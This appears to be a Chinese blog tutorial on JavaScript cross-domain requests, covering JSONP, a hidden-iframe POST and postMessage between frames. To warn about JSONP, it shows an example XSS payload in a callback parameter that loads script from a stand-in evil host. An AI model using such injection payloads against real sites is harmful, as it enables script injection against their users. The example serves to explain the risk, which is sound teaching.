Justin's Words

JavaScript 跨域请求

以下是一个 ECMAScript6 版本的 JSONP 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
let jsonpLoad = (url) => {
let index = 0;
const timeout = 5000;

Element.prototype.remove = function() {
this.parentNode.removeChild(this);
};

return new Promise((resolve, reject) => {
const callback = `__callback${index++}`;
const timeoutID = window.setTimeout(() => {
reject(new Error('Request timeout.'));
}, timeout);

const script = document.createElement('script');
script.type = 'text/javascript';
script.async = true;
script.src = `${url}${!~url.indexOf('?')? '?': '&'}callback=${callback}`;
document.querySelector('head').appendChild(script);

window[callback] = res => {
script.remove();
window.clearTimeout(timeoutID);
resolve(res);
}
});
};

jsonp 的缺点是容易导致 XSS 跨域攻击,比如下面这个:

1
http://example.org/api.php?callback=$.getScript('//evil.example.org/xss.js');var dontcare=(

会变为这样:

1
$.getScript('http://evil.example.org/xss.js');var dontcare= ({ ... });

所以 jsonp 只能用在自己信任的站点。

下面是一个跨域的 post 请求,但只能 post,不能获得 post 返回的数据,原理是创建一个 iframe 进行 post:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'use strict';

let crossDomainPost = (url, name, value) => {
Element.prototype.remove = () => {
this.parentNode.removeChild(this);
}

let iframe = document.createElement('iframe');
let uniqueString = 'CHANGE_THIS_TO_SOME_UNIQUE_STRING';
document.body.appendChild(iframe);
iframe.style.display = 'none';
iframe.contentWindow.name = uniqueString;

let form = document.createElement('form');
form.target = uniqueString;
form.action = url;
form.method = 'POST';

let input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = value;
form.appendChild(input);

document.body.appendChild(form);
form.submit();

setTimeout(() => {
iframe.remove();
form.remove();
}, 5000);
}

另外一个是 postMessage 跨域请求,解释请看html5 postMessage解决跨域、跨窗口消息传递
页面 A:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>A</title>
</head>

<body>
<iframe src="http://localhost:3002/B/index.html" frameborder="0" width="200" height="100"></iframe>

<script>
window.onload = () => {
window.frames[0].postMessage('A-getcolor', 'http://localhost:3002');

window.addEventListener('message', ev => {
console.log(ev.origin, ev.data);
});
}
</script>
</body>
</html>

页面 B:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>B</title>
</head>

<body>
<h1>I am from B</h1>

<script>
window.addEventListener('message', ev => {
console.log(ev, ev.origin, ev.data);
if (ev.source !== window.parent) return;
window.parent.postMessage('B-color', 'http://localhost:3000');
}, false);
</script>
</body>
</html>

参考: